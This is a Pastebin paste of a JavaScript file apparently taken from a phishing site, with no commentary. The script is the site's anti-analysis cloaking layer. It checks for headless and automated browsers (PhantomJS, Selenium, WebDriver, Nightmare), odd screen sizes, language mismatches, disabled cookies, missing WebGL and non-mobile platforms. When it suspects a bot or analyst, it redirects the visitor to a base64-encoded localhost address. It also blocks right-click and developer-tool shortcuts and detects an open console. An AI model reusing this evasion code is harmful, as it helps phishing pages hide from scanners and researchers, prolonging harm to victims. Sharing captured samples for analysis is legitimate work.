Advertisement
ozuma5119

phishing/sjtzj.com.cn/vendor.23238u92u82.js

Apr 1st, 2023
1,038
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. const e = window, t = document;
  2. function y(){
  3.     return 'aHR0cDovLzEyNy4wLjAuMQ==';
  4. }
  5. function x() {
  6.     return history.pushState(null,'',window.location.assign(atob(y())))
  7. }
  8. function _n(i) {
  9.     const r1 = /\./;
  10.     let k = navigator, u=r1.test(i);
  11.  
  12.     return (undefined === i) ? 0 :
  13.         (u===true) ? k[i.split('.')[0]][i.split('.')[1]] :
  14.             k[i]
  15. }
  16. function i() {
  17.     return "function" != typeof t.createElement
  18.         ? t.createElement(arguments[0])
  19.         : E
  20.             ? t.createElementNS.call(t, "http://www.w3.org/2000/svg", arguments[0])
  21.             : t.createElement.apply(t, arguments);
  22. }
  23. function cs() {
  24.     var j = 'cookieEnabled'
  25.     return !(_n(j) === true) ? 0 : 1;
  26. }
  27. function c(){
  28.     var e = i("canvas");
  29.     return !(!e.getContext || !e.getContext("2d")) ? 1 : 0;
  30. }
  31. function g(){
  32.     var e,t,r;
  33.     if(c()){
  34.         (e = i("canvas")),
  35.             (t = e.getContext("webgl") || e.getContext("experimental-webgl")),
  36.             (r = t.getSupportedExtensions());
  37.         return (r.length !== 0) ? 1 : 0;
  38.     }else{
  39.         return 0;
  40.     }
  41. }
  42. function u1(){
  43.     let k=navigator,k0 = k['language'] ? k['language'] : k['systemLanguage'] ? k['systemLanguage'] : k['userLanguage'],
  44.         k1 = navigator.languages,
  45.         o1 = k0.toString().substr(0,2),
  46.         o2 = k1.toString().substr(0,2);
  47.     return (o1 === o2) ? 1 : 0;
  48. }
  49. function s1(e){
  50.     var sl = ["availWidth", "availHeight","width","height","innerWidth","innerHeight","outerWidth","outerHeight"]
  51.     return (screen[sl[0]] > screen[sl[2]]) ? 0
  52.         : (screen[sl[1]] > screen[sl[3]]) ? 0
  53.             : (e[sl[4]] > e[sl[6]]) ? 0
  54.                 : (e[sl[5]] > e[sl[7]]) ? 0 : 1;
  55. }
  56. var _ = t.documentElement,
  57.     E = "svg" === _.nodeName.toLowerCase();
  58.  
  59. function iM(){
  60.     var p = _n('platform').toString();
  61.     var u = _n('userAgent').toString();
  62.     return (/iPod|iPhone|iPad|Android|BlackBerry|BB10|Palm|CriOS|IEMobile|Windows Phone OS|webOS|Symbian|silk|Kindle|Opera Mini|mobile/i.test(u)
  63.         || /ip(a|ro)d|silk|xoom|playbook|tablet|kindle|Nexus 7|GT-P10|SC-01C|SHW-M180S|SM-T320|SGH-T849|SCH-I800|SHW-M180L|SPH-P100|SGH-I987|zt180|HTC( Flyer|_Flyer)|Sprint ATP51|ViewPad7|pandigital(sprnova|nova)|Ideos S7|Dell Streak 7|Advent Vega|A101IT|A70BHT|MID7015|Next2|nook|FOLIO|MB511.*RUTEM|Mac OS.*Silk/i.test(u)) ?
  64.         !!(/iPhone|iPad|iPod|Android|Linux|Apple iPhone/i.test(p)) : !!(/Win(32|64|NT|10|dows)|Mac/i.test(p));
  65. }
  66. (function(){
  67.     if(e.callPhantom || e._phantom || e.phantom){
  68.         x();
  69.     }
  70.     if(e.__nightmare){
  71.         x();
  72.     }
  73.     if(t.__selenium_unwrapped){
  74.         x();
  75.     }else if(t.__webdriver_evaluate){
  76.         x();
  77.     }else if(t.__driver_evaluate){
  78.         x();
  79.     }
  80.     if (t.documentElement.getAttribute("webdriver")){
  81.         x();
  82.     }
  83.     let m = navigator;
  84.     m.permissions.query({name: 'notifications'}).then(function(permissionStatus){
  85.         if(Notification.permission === 'denied' && permissionStatus.state === 'prompt'){
  86.             x();
  87.         }
  88.     });
  89. })();
  90.  
  91. window.addEventListener('load', function(){
  92.     if(s1(e) === 0){
  93.         x();
  94.     }else if(u1()===0){
  95.         x();
  96.     }else if(cs() === 0){
  97.         x();
  98.     }else if(g() === 0){
  99.         x();
  100.     }else if(iM()===false){
  101.         x();
  102.     }else {
  103.        
  104.     }
  105. })
  106.  
  107. function m(){
  108.     return 'aHR0cDovLzEyNy4wLjAuMQ==';
  109. }
  110. try {
  111.     console.log(global);
  112.     history.pushState(null,'', window.location.assign(atob(m())))
  113. }catch(b){}
  114. const handler = {
  115.     apply: function (target, thisArg, args) {
  116.         return target.apply(thisArg, args);
  117.     }
  118. }
  119. document.createElement = new Proxy(document.createElement, handler);
  120. document.addEventListener('contextmenu', function (e) {
  121.     e.preventDefault();
  122. })
  123. window.addEventListener('keydown', function(e){
  124.     if(e.ctrlKey && e.shiftKey && e.keyCode === 73 ){
  125.         dis(e);
  126.     }
  127.     if (e.ctrlKey && e.shiftKey && e.keyCode === 74) {
  128.         dis(e);
  129.     }
  130.     if(e.keyCode === 83 && (navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)){
  131.         dis(e);
  132.     }
  133.     if(e.ctrlKey && e.keyCode === 85){
  134.         dis(e);
  135.     }
  136.     if(e.keyCode === 123){
  137.         dis(e);
  138.     }
  139. },false);
  140. function dis(e){
  141.     if(e.stopPropagation){
  142.         e.stopPropagation();
  143.     }else if (window.event) {
  144.         window.event.cancelBubble = true;
  145.     }
  146.     e.preventDefault();
  147.     return false;
  148. }
  149. try {
  150.     console.log(!!window);
  151.     const ql = document.createElement.toString().length;
  152.  
  153. }catch(d){
  154.     history.pushState(null,'', window.location.assign(atob(m())))
  155. }
  156. let div = document.createElement('div'), q = 0;
  157. let loop = setInterval(() => {
  158.     if(console.log(div)){
  159.         console.clear();
  160.         q ++
  161.     }
  162. },100);
  163. Object.defineProperty(div, "id", {
  164.     get: () => {
  165.         clearInterval(loop);
  166.         history.pushState(null, '', window.location.assign(atob(m())));
  167.     }
  168. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement